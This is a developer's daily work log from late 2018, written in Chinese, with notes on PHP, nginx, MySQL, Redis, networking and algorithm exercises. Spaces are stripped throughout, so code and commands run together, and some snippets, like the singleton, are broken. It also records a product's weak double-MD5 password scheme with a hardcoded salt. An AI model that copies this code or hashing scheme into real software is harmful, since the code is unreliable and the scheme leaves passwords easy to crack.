==========================================================================2018年12月29日记录:
目前在维护的最低PHP版本只有5.6了:1.5.6.39版本convert.quoted-printable-encode过滤器时核心的segfault错误imap扩展的错误phar扩展的错误,PharData类提供了一个访问和创建不可执行的tar和zip存档的高级接口5.6.38版本apache2的头信息Transfer-Encoding:chunked的XSSbug5.6.37版本exif扩展修复了堆缓冲区溢出,exif扩展可以获取图像元数据
==========================================================================2018年12月28日记录:
mysqldump客户端逻辑备份程序,可以生成一组sql或csv,文本,xml1.如果不使用--single-transaction选项,mysqldump至少需要SELECT权限,SHOWVIEW,TRIGGER和LOCKTABLES权限2.对于大规模备份和还原,物理备份更合适,以原始格式复制数据文件,可以快速恢复3.表主要是InnoDB表考虑使用MySQLEnterpriseBackup产品的mysqlbackup命令;主要MyISAM表,考虑使用mysqlhotcopy4.mysqldump默认是逐行检索,要启用内存缓冲,使用--skip-quick,此时如果是大表内存会可能有问题
join语法,外部连接优化:如果LEFTJOIN中ON或USING部分中的右表没有匹配的行,则将所有列设置为NULL的行用于右表。您可以使用此事实在表中查找在另一个表中没有对应项的行:SELECTleft_tbl.*FROMleft_tblLEFTJOINright_tblONleft_tbl.id=right_tbl.idWHEREright_tbl.idISNULL;
==========================================================================2018年12月27日记录:
1.vscode配置PHPIntelliSense
左下角齿轮==>settings==>extensions==>PHP==>{"php.executablePath":"D:/phpServer/php70n/php.exe"}
2.log_format记录post数据log_formatmail_test_logescape=json'postdata=$request_body';server{access_log/var/log/nginx/default.access.logmail_test_log;}
4.nginx的if判断语句-e文件或目录存在,!-e文件或目录不存在,==等值判断,~正则匹配返回true(区分大小写),~*正则匹配返回true(不区分大小写)-f文件是否存在,-x文件是否可执行5.nginx的path_info传递过来的参数,打印$_SERVER["PHP_SELF"]=>string(17)"/index.php/232323"["PATH_INFO"]=>string(17)"/232323"
==========================================================================2018年12月26日记录:
1.linux都会将内存充分利用,将一些程序调用过的硬盘数据读入内存(buffer/cache);物理内存是真正的硬件提供的内存,虚拟内存是虚拟出的一块逻辑内存,被称为交换空间(swapspace)2.buffers和cached都是内存操作,保存系统曾经打开过的文件以及文件属性信息3.buffers是缓冲块设备做的,只记录文件系统的元数据,cached是给文件内容做缓冲比如用find查找后buffer大量增加;用cat读取文件后cached大量增加4.内存释放:/proc是虚拟文件系统;可以通过修改他下面的文件作为与kernel实体间进行通信的手段echo3>/proc/sys/vm/drop_caches
==========================================================================2018年12月25日记录:
1.socket_create(int$domain,int$type,int$protocol)domain:AF_INET基于IPv4的Internet协议。AF_INET6基于IPv6的Internet协议。AF_UNIX本地通信协议族。高效率和低开销使其成为IPC(进程间通信)的一种很好的形式。type:SOCK_STREAM(TCP字节流),SOCK_DGRAM(UDP数据报),SOCK_RAW(ICMP的ping程序)protocol:SOL_TCP,SOL_UDP2.getprotobyname()获取下各个协议对应的数字/etc/protocols在这也能看到对应的数字ip:0icmp:1ggp:3tcp:6egp:8pup:12udp:17hmp:20xns-idp:22rdp:27
3.vim在当前行迅速插入到下一行,普通模式下按o4.php.ini中的variables_order参数EGPCS(Environment,Get,Post,Cookie,andServer),会影响这些变量$_SERVER$_POST,$_ENV,$_GET,$_COOKIE5.一个字符串中关键词会出现多次,我怎么才能做到替换关键词的时候只替换一次,并且要随机位置;explode拆分开,随机拼新的字符串进去6.mysql使用各种字符集存储数据,是一组符号和编码,排序规则是用于比较字符集中的字符的一组规则,并根据各种排序规则进行比较
==========================================================================2018年12月24日记录:
异步API的设计:POST/stars直接返回成功和location字段返回查询进度的api轮询GET/queue/12345,查询当前的进度
redis的hash:1.hmsetuser:1000usernametaoshihanbirthyear1991verified1//设置hash中的多个域2.hgetuser:1000username//hget是取回单个域3.hgetalluser:1000//hgetall取回所有域4.hmgetuser:1000usernamebirthyear//hmget取回多个域
1.NGINXUnit是个动态应用程序和web服务器,可以在不中断服务的情况下完成部署配置更改,以多种语言运行代码2.共享内存是常用的进程间通信,两个进程可以直接共享访问同一块内存区域。SharedMemory没有同步机制,需要自己协商处理3.Buildroot使嵌入式Linux变得简单
==========================================================================2018年12月21日记录:MySQLNativeDriver,MySQLnd是用C语言编写的PHP扩展。替代原来的(libmysqlclient)mysqlclientlibrary
==========================================================================2018年12月20日记录:
1.mysql数据库的user表保存了所有mysql账号和密码2.showgrants可以查看所有赠予的权限,使用revoke可以撤销权限GRANTALLPRIVILEGESON*.*TO'root'@'localhost'WITHGRANTOPTIONGRANTPROXYON''@''TO'root'@'localhost'WITHGRANTOPTIONsql注入漏洞和代码中的输出有关
3.高位字节M、低位字节L:一个16位(双字节)的数据0x221122是高位字节11是低位字节32位的数据,比如0x3F68415B3f68是高位字节4158是低位字节,这个数据被存到内存的时候有可能高位在前高位优先,高位在后低位优先0x1234567的大端字节序是01234567,小端字节序是67452301
4.[^abc]正则是查找所有不在中括号之间的字符,那么[^]这个就是查找所有不是空格的字符5.通过人工建立一个根目录,通常称为(chroot)jail,你可以从根本上阻止程序访问或者修改(可能是恶意的)文件以外的目录。比如建立了这样的目录/home/sam/jail,在jail用户看来,他就是/6.将include的文件放在配置为拒绝Web服务器访问的文件夹中禁止非法引用的简单方式
==========================================================================2018年12月19日记录:
1.过滤shell命令中的特殊字符:$a="`ifconfig`";$a=escapeshellcmd($a);$res=system($a);var_dump($res);shell_exec—通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
2.字节:存储容量的计量单位,一个字节等于8位,0x2211是十六进制是二进制0b0010001000010001,两个8位也就是两个字节
3.mysql拆分字符串的函数+计算字符长度的函数selectlength(substring_index(path,"/",5))fromuser;
==========================================================================2018年12月18日记录:
1.xss攻击一个常用的方法就是注入HTML元素执行js脚本,前端展示时进行过滤
3.in_array(mixed$needle,array$haystack[,bool$strict=FALSE])第三个参数是true,就检测类型,否则不检测
4.array_flip—交换数组中的键和值,返回一个反转后的array,例如array中的键名变成了值,而array中的值成了键名。$arr=array_flip($haystack);if(isset($arr[$needle]))判断是否存在在数组中
5.array_map—为数组的每个元素应用回调函数因为in_array不区分大小写,所以使用这个对数组的所有元素转成小写returnin_array(strtolower($needle),array_map('strtolower',$haystack));
2019年2-7~9阳光PHP峰会API开发;中间件;安全;区块链;DevOps;渐进式Web应用程序(PWA);持续交付;数据库;Javascript;PHP核心;单元测试;UI/UX;异步PHP;可扩展性;团队开发
==========================================================================2018年12月17日记录:
htmlentities—将字符转换为HTML转义字符,对所有html实体转义htmlspecialchars只是对<>"'&进行转义
==========================================================================2018年12月14日记录:
mysql输入查询:SELECTVERSION(),CURRENT_DATE;
phpmysql查询超内存:$db->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY,false);不缓存结果$sql="select*froment_lastlogin"."wheretime<'2018-10-30'";$uresult=$db->query($sql);if($uresult){while($r=$uresult->fetch(PDO::FETCH_ASSOC)){}
==========================================================================2018年12月13日记录:
1.PATH_INFO是一个CGI1.1的标准,不要误解为nginx的功能2.PHP对该标准进行了支持,PHP中有两个pathinfo,环境变量$_SERVER['PATH_INFO'];pathinfo()函数3.pathinfo()函数以数组的形式返回文件路径的信息,先不管它4.nginx的配置项是对$_SERVER['PATH_INFO]值进行设置,如果不配置默认是没有的5.因为路径部分是这样的index.php/111,所以location~\.php{}把php后面的$必须以php结尾去掉6.传递PATH_INFO参数:fastcgi_paramPATH_INFO$fastcgi_path_info;此时["PHP_SELF"]=>string(3)"NFO"["PATH_INFO"]=>string(3)"NFO"7.fastcgi_split_path_info^((U).+.php)(/.+)$;此时["PATH_INFO"]=>"/111"["PHP_SELF"]=>"/index.php/111"8.重写隐藏index.php,如果请求的是文件名才重写if(!-e$request_filename){rewrite^/(.*)$/index.php/$1last;break;}此时:["PATH_INFO"]=>"/111"["PHP_SELF"]=>"/index.php/111"
GNUAWK的用户指南
==========================================================================2018年12月12日记录:
凡人皆有一死,凡人皆须侍奉动不动就觉得一年比一年差的,是因为你年龄一年比一年大了,越来越需要钱了,偏偏发现财富自由离自己太远。回到刚毕业的时候,就算变天了你还会觉得很兴奋,百度一下“行业寒冬”,你就就会发现2014、2015、2016、2017、2018年年都寒冬。哪年不过冬了?哪年各位的薪资没涨的?哪年各位生活质量有下降的?
==========================================================================2018年12月11日记录:
postfix配置测试smtp修改/etc/postfix/transport然后执行postmap/etc/postfix/transport,再执行postfixreload
==========================================================================2018年12月10日记录:
讲清楚技术方案:1.介绍需求背景2.介绍整体技术方案3.介绍协议和库表结构
php-fpm开启慢查询日志:/etc/php/7.0/fpm/pool.d/www.confslowlog=/var/log/php-fpm-$pool.log.slowrequest_slowlog_timeout=5
==========================================================================2018年12月7日记录:
nginx可以用信号控制:kill-sHUP8587将HUP信号发送到主进程,使用新配置启动新的工作进程,正常关闭旧工作进程,即打开日志文件和新的侦听套接字。kill-sUSR28587即时升级可执行文件
导入群发列表时有^M特殊字符:$outEmail=(string)trim($outEmail);强制转一下
1.vmstat指令查看操作系统每秒进程切换的次数。system-------in每秒中断;cs每秒上下文切换数量2.pcntl没有提供进程间通信的功能pcntl不支持重定向标准输入和输出pcntl只提供了fork这样原始的接口,容易使用错误
==========================================================================2018年12月6日记录:
RUP:统一软件开发过程,面向对象基于网络的程序开发方法论UML:统一建模语言OO设计的基本原则单一原则:一个类只做一件事开闭原则:对扩展开放,对修改关闭里式替换:子类必须能够替换所有父类的使用依赖倒置:设计依赖于抽象而不是实现最少知识:对象应当尽可能少的去了解其他对象接口隔离:接口倾向于小而多组合优先:优先使用类的组合而不是继承OOA面向对象分析OOD面向对象设计OOP面向对象编程
构造型设计模式:单例模式,抽象工厂模式,构造者模式,原型模式,工厂方法模式
单例:私有化构造方法通过静态方法创建并保持对象注意实例化方法需要线程安全privatestatic$instance;privatefunction__construct(){}publicstaticfunctiongetInstance(){if(self::instance==null)self::instance=newself();returnself::instance;}适用场景:类的对象全局唯一,节约频繁创建对象的资源开销,单例类必须是无状态的
抽象工厂模式:使用与实现分离,调用方只依赖于业务逻辑接口,与具体实现无关剥离调用者和实现的耦合,应对变化,典型案例:JDBCAPI&DriverinterfaceUserRepository{}interfaceRepositoryFactory{publicfunctioncreateUserRepository()}classMysqlRepositoryFactoryimplementsRepositoryFactory{}classMySqlUserRepositoryFactoryimplementsUserRepository{}
构造者模式:用于创建一个复杂对象,一个对象需要依赖于大量外部对象或者其他设置参数,通过构造方法创建太复杂对象的创建非常复杂,总是需要很多配置和预先创建其他对象classQuery{}classQueryBuilder{return$this}(newQueryBuilder())->addSelect()->addWhere()->build()->getResult();
==========================================================================2018年12月5日记录:
stream_get_meta_data-从流/文件指针中检索标头/元数据返回结果:timed_out(bool)如果流在等待最后一次调用fread()或fgets()时的数据时超时,则为TRUE。
=========================================================================2018年12月4日记录:
1.LVS:LinuxVirtualServerLinux虚拟服务器,是一组服务器,核心是ip_vs代码,运行在LVSdirector,director是一个四层交换,相当于一个路由器,接收客户端请求分配给后端realservers服务器
2.网络地址转换(NAT):内网的主机想通过互联网被外网访问,需要进行网络地址转换;从一组地址到另一组叫N-to-N静态网络地址转换;当映射是M-to-NM>N时是动态网络地址转换;网络地址端口映射是NAT的一个扩展,在这里很多的地址和端口被映射到单个地址和端口,N-to-1的映射
==========================================================================2018年12月3日记录:
1.DNS服务器的IP地址:cat/etc/resolv.conf2.DNS的通信过程:tcpdump-ieth0-s0-n-lport53
10:44:10.203166IP10.105.38.204.47751>10.236.158.114.53:44627+Awww.huiful.com.(32)我的IP地址10.105.38.204端口47751向DNS服务器的10.236.158.114端口53发送请求44627是我这个请求的标识,+代表启用递归查询,A表示A类型的查询,32代表DNS查询报文长度
host-tAwww.baidu.com的DNS查询过程:IP10.105.38.204.39732>10.236.158.106.53:11431+Awww.baidu.com.(31)IP10.236.158.106.53>10.105.38.204.39732:114313/0/0CNAMEwww.a.shifen.com.,A115.239.210.27,A115.239.211.112(90)
4.TCP协议更靠近应用层,因此在程序中有更强的互操作性,一些socket选项都和TCP有关5.TCP头部信息,TCP状态转移过程,TCP数据流(交互数据流,成块数据流,紧急数据),TCP数据流的控制(超时重传,拥塞控制)6.TCP协议通信必须先建立连接,连接是双全工的,双方的数据读写通过一个连接进行,交换完成后,都必须断开连接.7.TCP的连接是一对一的,因此基于广播和多播(目标多个主机)的程序不能使用,udp非常适合广播和多播8.字节流服务:发送端执行多次写操作,TCP模块先放入发送缓冲区,真正发送时可能被封装成一个或多个TCP报文段发出;接收端先放入TCP接收缓冲区,然后再一次或多次读出,用户指定的程序读缓冲区的大小9.udp是数据报服务:发送端每发送一个,接收端就要接收一个10.TCP头部结构:指定源端端口,目的端端口,管理TCP连接
门诊系统:electronvuevuex界面就是elementui
360浏览器侧边翻译插件
==========================================================================2018年11月30日记录:
1.ICMP协议并非完全意义上的网络层协议,它使用同一层的IP协议提供的服务2.传输层提供端到端(endtoend)通信,只关心起始端和目的端,与网络层使用逐跳不同3.TCP协议为应用层提供可靠的面向连接的基于流的服务,使用超时重传,数据确认保证可靠性,基于流的数据没有长度边界限制,源源不断流入,读出4.UDP提供不可靠,无连接,基于数据报的服务5.DNS协议即使用了TCP服务,又使用了UDP服务,/etc/services可以看到知名应用层协议,使用了哪些传输层协议6.封装,协议栈依次从上往下传递,每经过一层就加上自己的头部信息,TCP封装后的有TCP头部信息,TCP内核缓冲区,共同构成了TCP报文段7.数据链路层封装的称为帧,以太网上的叫以太网帧,令牌环网络上的则是令牌环帧8.分用,协议栈自底向上依次传递9.ARP协议可以将网络层地址到任意物理地址转换,从IP地址到MAC地址转换10.ARP高速缓存,把经常访问的机器的IP地址到物理地址的映射缓存起来,避免了重复的ARP请求
PCRE(PerlCompatibleRegularExpressions)是一个Perl库,包括perl兼容的正则表达式库。
==========================================================================2018年11月29日记录:
stream_socket_client(string$remote_socket[,int&$errno[,string&$errstr[,float$timeout=ini_get("default_socket_timeout")[,int$flags=STREAM_CLIENT_CONNECT[,resource$context]]]]])
timeoutNumberofsecondsuntiltheconnect()systemcallshouldtimeout.
1.从单页应用(SPA)到服务器渲染(SSR)2.编译器原理和技术涉及到程序设计语言,计算机体系结构,语言理论,算法,软件工程3.编译器是一个程序,将某种语言(源语言)编写的程序翻译成一个与之等价的另一种语言(目标语言)编写的程序,翻译的过程中可以报告错误,编译器的早期工作集中在如何把算数表达式翻译成机器代码
==========================================================================2018年11月28日记录:
print_r(01234==1234)false,0开头是八进制,0x开头是十六进制,0b开头是二进制yigoubao的密码规则:md5(md5($password).'yoshop_salt_SmTRx')php-r"echomd5(md5('admin123').'yoshop_salt_SmTRx');"
==========================================================================2018年11月27日记录:
域名反向解析即从IP地址到域名的映射:系统提供一个特别域,该特别域称为逆向解析域
企管nginx改造:
==========================================================================2018年11月26日记录:
系统开发统计读取阿里云的使用情况:
swoole的三种运行模式:base模式,线程模式,进程模式IO:BIO阻塞IO;NIO非阻塞IO,同步IO;异步IOIO组合:同步阻塞IO;同步非阻塞IO;异步阻塞IO;异步非阻塞IOIO操作:发起IO请求;实际IO操作阻塞和非阻塞区别:第一步发起IO请求是否会被阻塞同步和异步区别:第二步实际IO读写是否会被阻塞
BIO:whiletrueaccept多线程处理读写
__set是个不存在的属性赋值,两个参数__set($k,$v),属性名和属性值__get读取不存在属性时
$obj->test="aaa",__set("test",'aaa'),属性中放个数组,arr["test"]="aaa"echo$obj->test,__get("test"),arr["test"]
==========================================================================2018年11月23日记录:
==========================================================================2018年11月22日记录:
declare结构用来设定一段代码的执行指令。declare的语法和其它流程控制结构相似:是一个在declare代码段中解释器每执行N条可计时的低级语句就会发生的事件declare(ticks=1);PHP进行信号管理,第二个参数是回调函数:pcntl_signal(SIGUSR1,"sig_handler");给进程发送信号:posix_kill(int$pid,int$sig)
kill-l:linux进程的所有信号
==========================================================================2018年11月21日记录:
1.is_object—检测变量是否是一个对象2.依赖注入,两个类依赖的时候,需要构造函数里传进去,构造函数注入3.控制反转(IOC)是一种思想,依赖注入(DI)是实施这种思想的方法。4.工厂模式注入,原本A类依赖B类和C类,现在变成了A依赖Factory,Factory依赖B和C。5.高层模块不应该依赖于底层模块,两个都应该依赖抽象。抽象不应该依赖于细节,细节应该依赖于抽象6.1、IaaS(基础设施即服务:InfrastructureasaService)2、PaaS(平台即服务:PlatformasaService)3、SaaS(软件即服务:SoftwareasaService)7.glusterFS分布式文件系统
==========================================================================2018年11月20日记录:
sendid,midphp魔术方法:__construct()[构造],__destruct()[析构],__call()[调用不存在的方法],__callStatic()[调用不存在的静态方法],__get()[获取不存在属性的值],__set()[为不存在属性赋值调用],__isset()[isset不存在的属性],__unset()[unset不存在的属性],__sleep()[序列化对象的时候],__wakeup()[反序列化对象的时候],__toString(),__invoke(),__set_state(),__clone()和__debugInfo()
1.file_put_contents—将一个字符串写入文件,LOCK_EX在写入时获得一个独占锁。读取时需要解锁$myfile=fopen('test.txt','rt');flock($myfile,LOCK_SH);$read=file_get_contents('test.txt');2.PHP-AOP扩展,面向切面编程,非侵入式的编程方法aop_add_after()函数的使用
==========================================================================2018年11月19日记录:
1.企邮日发信量100万,计划每天或每周一张表,根据sendid后面的日期进行对应2.在读信接口里增加sendid字段2.给前端定义一个接口,maildeliverystatus,只有已发送的邮件读信时会去调,把sendid传给我3.我要拿着sendid去查表然后直接返回对应数字
c10k问题:单机一万并发连接问题1.如果一个连接就创建一个进程或线程,资源消耗巨大2.异步模式select/poll模型,select最大不能超过1024,poll没有限制但是每次收到数据都要遍历连接查看哪个连接有数据请求3.epoll依赖linux,只返回状态变化的文件句柄,不会去遍历,效率更高了4.libevent对事件接口进行了封装5.协程,c语言中的coroutine,go语言中的goroutine,在少量线程的基础上进行调度
测试:单元测试,API测试,性能测试,持续集成,灰度发布单元测试:人为规定的最小的被测功能模块,c语言是一个函数,java是一个类,图形软件是一个窗口API测试:定位是服务对外输出的接口测试,偏重业务测试性能测试:单接口压测和模拟用户行为的压测,ab压测,wrk压测;loadrunner,jmeter
ubuntu用户创建的目录下用root创建文件,ubuntu用户可以删除但是不能编辑覆盖
==========================================================================2018年11月16日记录:
==========================================================================2018年11月15日记录:
==========================================================================2018年11月14日记录:
nginx改造:1./mnt/entmail/webapp目录权限和nginx执行用户权限3.php.ini设置upload_tmp_dir="/temp"
cron的日志位置/var/log/cron开启cron日志:vim/etc/rsyslog.d/50-default.confcron.*/var/log/cron.log
1.Epoll是poll的改进版,在高并发下能同时处理大量文件描述符,nginx使用了2.Poll是监控资源是否可用,轮询整个文件描述符集合,例如在多个socket连接建立后,可以知道哪些连接发了请求,与select比不会清空文件描述符3.Epoll只会查询被内核IO事件唤醒的集合,只有发生IO的socket会调用callback函数4.文件描述符,一切皆文件网络是文件键盘是文件,像写文件那样传输网络数据,通过/proc/的文件看到进程的资源使用情况5.
==========================================================================2018年11月13日记录:
Fileuploaderror-unabletocreateatemporaryfile设置upload_tmp_dir="/temp"然后重启环境就可以了,如果还不行就去看看文件夹的权限是否有权限,赋予写入权限就好了
nginx的请求处理:1.worker进程中有个函数,无限循环,不断处理收到的客户端请求,并进行处理2.系统提供的事件处理机制(select/epoll/kqueue)3.接收数据,初始化HTTPRequest,处理请求头请求体4.读取配置文件进行处理阶段,locationrewritefilter等5.产生响应发送给客户端
php调用这个库的应该都是短链接,然后这样是否也会发生切换过程中,数据写到老库,没有同步到新库的情况短链接是不会发生这种情况
==========================================================================2018年11月12日记录:
Nginx的特点:1.处理静态文件2.反向代理加速3.fastCGI,简单的负载均衡和容错4.模块化的结构5.分阶段资源分配技术,使得它的CPU与内存占用率非常低,保持10,000个没有活动的连接,它只占2.5M内存6.支持内核Poll模型,能经受高负载的考验,有报告表明能支持高达50,000个并发连接数7.采用master-slave模型,能够充分利用SMP的优势,且能够减少工作进程在磁盘I/O的阻塞延迟。当采用select()/poll()调用时,还可以限制每个进程的连接数8.强大的Upstream与Filter链,有点像Unix的管道9.采用了一些os提供的最新特性如对sendfile(Linux2.2+),accept-filter(FreeBSD4.1+),TCP_DEFER_ACCEPT(Linux2.4+)的支持
nginx的connection1.主进程监听端口创建socket,fork出子进程,子进程互斥锁竞争accept新的连接,三次握手建立连接以后,异步非阻塞读写事件处理,nginx或客户端主动关掉连接2.每个进程都有连接数的限制,ulimit-n,超过时创建socket会失败3.nginx能建立的最大连接数worker_连接数*worker_进程数;作为反向代理时则为worker_连接数*worker_进程数/2,nginx也要请求另外的处理服务占用一个连接4.利用accept_mutex锁来平衡每个worker进程的连接数
==========================================================================2018年11月9日记录:
100万个URL如何找到出现频率最高的前100个:1.放到数组里面,key是url,value是出现次数,排序2.hashcode版本,hash和url关联起来3.数据库实现法,伪哈希索引
==========================================================================2018年11月8日记录:
企邮webmail的跳转部分企邮web读取阿里云双读上线
得到等N位为1其它位为0的数,可用1左移N位即得得到等N位为0其它位为1的数,用前数位反一下即得
修改指定状态位为0,a&=~(1<<29)修改指定状态位为1,a|=1<<29
==========================================================================2018年11月7日记录:
HTTPmessage:HTTP报文,客户端服务器请求响应模型,是通过HTTP报文的格式化数据块进行的HTTPmethod:HTTP方法GET:客户端向服务器请求获取资源POST:客户端发送数据到服务端PUT:客户端将数据存储到服务器中去DELETE:从服务端删除命名资源HEAD:客户端获取命名资源的HTTP头信息HTTP/应用层==>TCP/传输层==>IP/网络层HTTP/0.9==>HTTP/1.0==>HTTP/1.0+==>HTTP/1.1==>HTTP/2.0
web的结构组件:1.代理:位于客户端和服务器之间,接收所有请求并转发给服务器2.缓存:代理缓存或web缓存,下一次请求是缓存提供的服务3.网关(gateway):将HTTP协议转成其他协议的服务,例如:HTTP/FTPHTTP转到PHP-FPM4.隧道(tunnel):在HTTP连接上转发非HTTP协议的数据,例如:HTTP/SSL在HTTP连接上传输SSL数据
==========================================================================2018年11月6日记录:
HTTP首部(head头信息)1.通用首部:Date通用缓存首部(Cache-Control)2.请求首部:Accept条件请求首部(if-),安全请求首部(Authorization)3.响应首部:Server4.实体首部(用于主体部分的首部):content-type:5.扩展首部:非标准的,自己定义的
PHP的脚本执行还是会经过编译环节,只不过它们一般会在运行的时候实时进行编译1.启动PHP及Zend引擎,加载注册的扩展模块2.读取脚本文件,Zend引擎对脚本文件进行词法分析,语法分析。3.编译成opcode执行
routeadd-net100.118.0.0/16gw172.16.228.1添加网络
==========================================================================2018年11月5日记录:
100:客户端应该继续发送请求,表示服务器已经接受到了,继续请求101:理解了客户端请求,并通过Upgrade消息头通知客户端采用新协议通讯,服务器发完后会切换到新协议102:由webdav(rfc2518)扩展的状态码,代表处理将被继续执行201:请求已经被实现,新的资源已经建立,uri随location头信息返回202:服务器已经接受请求,但是不知道结果,异步的时候使用203:成功处理但是返回的实体头部元信息不是原始服务器上的有效集合204:成功处理,不返回实体,返回更新了的元信息205:和204差不多,要求请求者重置文档
==========================================================================2018年11月2日记录:
下午请假
==========================================================================2018年11月1日记录:
安卓问题:客户端现有问题是,修改密码后还会调用登陆接口,没有正常提示文本信息,退出也退出不了
==========================================================================2018年10月31日记录:
流媒体服务器(Nginx+rtmp)docker下安装宝塔面板更安全
存储服务器-云盘分布式文件系统应用服务器web服务器数据库平台反垃圾的网关服务日志服务器-每天发送一次,各web服务器的syslog-ng
1.二叉查找树中的结点是2-结点(一个键两条链),引入3-结点(两个键三条链),即成2-3树;然后将2-3树中3-结点分解,即成红黑树,故结合二叉查找树易查找和2-3树易插入的特点,便成了红黑二叉查找树,简称红黑树。2.B树每一个结点可以有几个到几千个孩子,降低树的高度,减少磁盘io,顶部几层被反复查询存在内存中,剩余的存在磁盘中3.含n个结点的b树高度也是lgn,分支因子大,高度小很多,
==========================================================================2018年10月30日记录:
明天导一下应该修改密码的列表
排序算法:非线性比较类:交换排序冒泡:平均O(n^2),最坏O(n^2)最好O(n)空间O(1)稳定快速:平均O(nlogn),最坏O(n^2),平均O(nlogn),空间O(nlogn)不稳定插入排序插入:平均O(n^2),最坏O(n^2)最好O(n)空间O(1)稳定希尔:平均O(n^1.3),最坏O(n^2),最好O(n),空间O(1)不稳定选择排序选择:平均O(n^2),最坏O(n^2),最好O(n^2),空间O(1)不稳定堆:平均O(nlogn),最坏O(nlogn),平均O(nlogn),空间O(1)不稳定归并排序二路归并:平均O(nlogn),最坏O(nlogn),平均O(nlogn),空间O(1)稳定多路归并线性非比较类:计数:平均O(n+k),最坏O(n+k),最好O(n+k),空间O(n+k)稳定桶:平均O(n+k),最坏O(n^2),最好O(n),空间O(n+k)稳定基数:平均O(n*k),最坏O(n*k),最好O(n*k),空间O(n+k)稳定稳定:原来a在b前面,a=b,排序后a任然在b前面冒泡,插入,归并,计数,桶,基数不稳定:a=b,排序前a在b前面,排序后可能在后面,快速,希尔,选择,堆冒泡:1.比较相邻元素,从第一个开始较大的逐渐往后移动,后面是所有已经排好序的了2.for{for{}},arr[j]>arr[j+1]选择:1.两层循环,假定第一层循环的i元素是最小值,2.内层循环找出比i还小的元素,交换下他们
1.按位&|~^与或非异或2.&与运算0&0=01&0=01&1=13.fgetss函数的bug,遇到<会把后面的所有内容都替换成空白4.rpm-qdpkg-L两个查询包命令的
==========================================================================2018年10月29日记录:
RedisCluster的架构图:REmoteDIctionaryServer。1.所有的redis节点彼此互联(PING-PONG机制)2.节点的fail是通过集群中超过半数的节点检测失效时才生效3.客户端与redis节点直连,不需要中间proxy层4.redis-cluster把所有的物理节点映射到[0-16383]slot上(哈希槽)
Redis与其他key-value存储有什么不同?1.复杂的数据结构并且提供对他们的原子性操作2.运行在内存中但是可以持久化到磁盘3.键值对越多开销越大,放到一个key里就小很多4.采用多个Redis节点通过客户端Hash的办法解决了大数据集分配的问题5.访问MySQL的数据只能通过主键(ID)。执行查询操作时,通过Redis读取数据;使用redis的数据结构创建二级索引
分布式理解:1.一个需要巨大资源的计算分成小的部分,分配给多台独立的服务器,计算结果综合后得到最终结果2.分布式网络存储技术是将数据分散的存储于多台独立的机器设备上
顺时针打印矩阵:1.行数和列数取出来row,col,圈数就是(较小值-1)/2+12.外层循环控制圈数,内层四个for循环,i3.第一个for循环,从左到右,j=i;j
编译原理-有限自动机:不确定的有限自动机(NFA),一种数学模型;确定的有限自动机(DFA),是NFA的特殊情况
==========================================================================2018年10月26日记录:
汇编语言中有一种移位指令叫做循环左移(ROL),现在有个简单的任务,就是用字符串模拟这个指令的运算结果。对于一个给定的字符序列S,请你把其循环左移K位后的序列输出。例如,字符序列S=”abcXYZdef”,要求输出循环左移3位后的结果,即“XYZdefabc”。是不是很简单?OK,搞定它!1.字符串翻转,前n位取模长度,abc翻转成cba后面的翻转成fedXYX,然后再统一翻转XYZdefabc2.第二种思路,字符串复制一份拼接在一起,截取从n开始到len长度的子字符串,n也是要取模
当有一天我看到一棵奇怪的树,第一反应是想拍下来给你看,我就知道大事不好了。HRBP(HRBUSINESSPARTNER)
Electron使用JavaScript,HTML和CSS构建跨平台的桌面应用
==========================================================================2018年10月25日记录:
MYSQL随机提取一条记录:SELECT*FROMtablenameORDERBYRAND()LIMIT1。
1.回溯法,按照深度优先的原则从根结点出发搜索解空间树,总是先判断该结点是否肯定不包含问题的解,如果肯定不包含,则跳过该结点为根的子树搜索,逐层向其祖先结点回溯,求问题的所有解时,要回溯到根,且根结点的所有子树都已被搜索才结束2.用for循环+递归方式求解for循环套在外层,表示遍历数组的第i个数字;内层递归表示结果list里的第i个数字
==========================================================================2018年10月24日记录:
前后端分离的验证码问题1.生成验证码的数字存mememchache,key是唯一id返给前端2.验证时,前端带着id来查找对应的验证码申诉自
1.回溯法(探索与回溯法)是一种选优搜索法,又称为试探法,按选优条件向前搜索,以达到目标,原先选择并不优或达不到目标,就退回一步重新选择2.回溯法从根节点开始按深度优先搜索策略形成的树称为状态空间树
==========================================================================2018年10月23日记录:
企管调用mic的部分,ip改成域名的形式
输入一个字符串,按字典序打印出该字符串中字符的所有排列。例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba。思路:1.利用递归形成递归树,达到深度优先,固定首字母的效果2.得复位以后才能再次深度优先3.回溯法思想4.一张图和一个运行过程,只能慢慢体会了
==========================================================================2018年10月22日记录:
我们可以用2*1的小矩形横着或者竖着去覆盖更大的矩形。请问用n个2*1的小矩形无重叠地覆盖一个2*n的大矩形,总共有多少种方法?斐波那契数列
1.堆(二叉堆):可以视为一棵完全的二叉树,除了最底层之外,每一层都是满的,这使得堆可以利用数组来表示,每一个结点对应数组中的一个元素2.给出某个结点的下标,可以计算出父结点的和孩子结点的下标;parent(i)=floor(i/2)left(i)=2iright=2i+13.最大堆和最小堆,最大堆:根结点是最大值,最小堆:根结点是最小值4.堆排序就是把最大堆堆顶的最大数取出,剩余的堆继续调整为最大堆,再次将堆顶的最大数取出,直到剩余数只有一个结束5.最大堆调整(维护最大堆,子节点永远小于父结点);创建最大堆(把一个数组调整成最大堆的数组);堆排序(创建最大堆,交换,维护最大堆)maxHeapify(array,index,heapSize)//最大堆调整iMax,iLeft,iRightwhiletrueiMax=index;iLeft=2*index+1;iRight=2*index+2如果根结点小于左右子树里结点值,就交换一下这两个值利用第三方变量,交换下两个值buildMaxHeap(array)//创建最大堆,把一个数组调整成最大堆的数组iParent=floor((size-1)/2)fori=iParent;i>=0;i--maxHeapify(array,i,size)sort(arr)buildMaxHeap(array,heapSize);//创建最大堆for(inti=heapSize-1;i>0;i--){swap(array,0,i);//交换第一个和最后一个maxHeapify(array,0,i);//维护最大堆,size小了一个
==========================================================================2018年10月19日记录:
字符串的全排列:1.输入一个字符串,输出字符串中字符的所有排列2.从集合中依次选出每一个元素,作为排列的第一个元素,然后对剩余的元素进行全排列,如此递归处理
==========================================================================2018年10月18日记录:
判断一个字符串是否是回文:同时从字符串头尾往中间扫描字符串,如果所有字符都一样,就是一个回文start=0end=str.size()while(start<=end){ifstr[start]!=str[end]returnfalse++start--end}最长回文字串:枚举中心位置
==========================================================================2018年10月17日记录:
==========================================================================2018年10月16日记录:
